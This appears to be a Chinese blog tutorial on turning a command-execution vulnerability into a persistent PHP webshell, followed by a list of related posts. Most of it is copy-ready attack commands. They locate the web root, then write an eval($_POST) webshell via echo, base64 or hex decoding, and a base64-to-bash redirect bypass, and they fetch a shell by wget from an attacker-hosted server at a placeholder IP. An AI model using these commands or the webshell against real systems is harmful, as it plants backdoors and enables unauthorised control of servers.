命令执行写webshell总结

前言

当我们找到一个rce漏洞却无法反弹shell时,在web路径写webshell用连接工具进行管理会方便的多,本文总结从命令执行到webshell的流程化操作。

寻找web路径

写webshell当然要写在web路径,第一步要做的就是快速寻找web路径

1.文件查找法

一般web路径一定会有index.html\php\jsp\asp,login.xxx文件。可以根据已知页面文件名全局搜索

    linux:find / -name index.phpfind / -name index.*windows:for /r d:/ %i in (index.html) do @echo %ifor /r d:/ %i in (index.*) do @echo %i

    2.源码查找法

    也可以选择打开当前已知web页面的f12查看源码,寻找一段特征足够明显的源码进行查找

      linux:find / -name '*.*' | xargs grep 'PHP installed properly'find /var/www/ -name '*.php' | xargs grep 'doServerTest()'windows:findstr /s/i/n /d:D:\sec_tools\ /c:'html' *.htmlfindstr /s/i/n /d:C:\windows\ /c:'success' *.*

      3.history等

      通过linux历史命令查找web相关的服务启动命令

        history | grep nginxhistory | grep tomcathistory | grep http

        写入webshell

        确认寻找到的路径有写入权限之后,就可以开始写webshell了

        1.echo直接写入

          echo '<?php eval($_POST[1]); ?>' > 1.php

          直接写入webshell一般不会成功,因为webshell中使用的某些关键符号可能被转码或屏蔽

          2.base64写入

          echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==' | base64 -d >2.php

          使用base64是比较通用的方法,完美去除了webshell本身的特殊字符

          3.绕过重定向符

          echo 'ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA My5waHA=' | base64 -d | bash
          echo 'ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA My5waHA=' | base64 -d | sh

          重定向符>不可用时,我们可以将1或2中的整体命令base64编码,然后解码后通过bash或sh执行

          其他字符绕过方式,如空格对应${IFS}等,可参考命令注入的绕过方式 http://uuzdaisuki.com/2020/07/15/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/

          4.远端下载webshell

            远端服务器放置webshell,开启httppython -m http.server目标机器执行wget http://xx.xx.xxx.xx:8000/xxx.php

            可出网且有wget的情况下可采用此方式

            5.hex写入

            hex写入与base64写入相似,在 https://www.107000.com/T-Hex/
            将webshell编码成hex,使用xxd命令还原

            或在使用前将webshell使用xxd生成hex数据

              echo '<?php eval($_POST[1]); ?>' |xxd -ps

              然后命令注入执行

              echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php
              (0)

              相关推荐

              • vim+xxd=强大的十六进制编辑器

                在linux下用vim打开jpg文件,使用%!xxd进行16进制显示时,文件头显示为"3f3f  3f3f 0011 0804"文件尾端显示为 "3f3f  0a&quo ...

              • 使用命名管道通讯的命令执行工具

                管道简述 管道并不是什么新鲜事物,它是一项古老的技术,可以在很多操作系统(Unix.Linux.Windows 等)中找到,其本质是是用于进程间通信的共享内存区域,确切的的说应该是线程间的通信方法(I ...

              • CTF中的命令执行绕过

                在介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同.他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行. 作为CTF最基础的操作,命令执 ...

              • Bash脚本编程学习笔记01:变量与多命令执行

                变量基础知识 程序由指令加数据所组成,而变量可以理解为数据来源的一种. 变量名可以理解为指向了某个内存空间的地址,对于变量的赋值可理解为向内存空间写入数据,对于变量的引用可理解为从内存空间读取数据. ...

              • git源码泄露,命令执行,传递参数闭合strpos函数

                CSAW CTF 2016 Quals: mfw [实验原理] git源码泄露,命令执行 [实验目的] 了解git源码泄露的处理方法 [实验环境] Windows [实验工具] firefox [实验 ...

              • [web安全]命令执行&&代码执行 wafpass总结

                命令执行&&代码执行 wafpass总结 代码执行 php常见命令执行函数 php代码 eval() assert() preg_replace call_user_func() ca ...

              • 【漏洞预警】天融信关于Redis数据库远程命令执行漏洞的预警

                0x00背景介绍 Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的API.作为一个高性能的key-value数据库,R ...

              • perl脚本中GET命令执行漏洞([HITCON 2017]SSRFme)

                GET命令执行漏洞 思路来自于HITCON2017中的ssrfme,考点是GET的任意命令执行.代码很简单,调用命令GET来执行从url获取的参数, 然后按照filename新建文件,写入GET的结果 ...

              • 内网渗透之域渗透命令执行总结

                前言 AD的全称是Active Directory:活动目录 域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation).信任关系是连接 ...

              • 命令执行的绕过Tip

                管道符;顺序执行,命令之间没有逻辑关系正常顺序执行&&逻辑与; 当命令1正确执行后,才会执行命令2.否则命令2不会执行两个命令都会执行||逻辑或; 当命令1不正确执行后,命令2才会执行 ...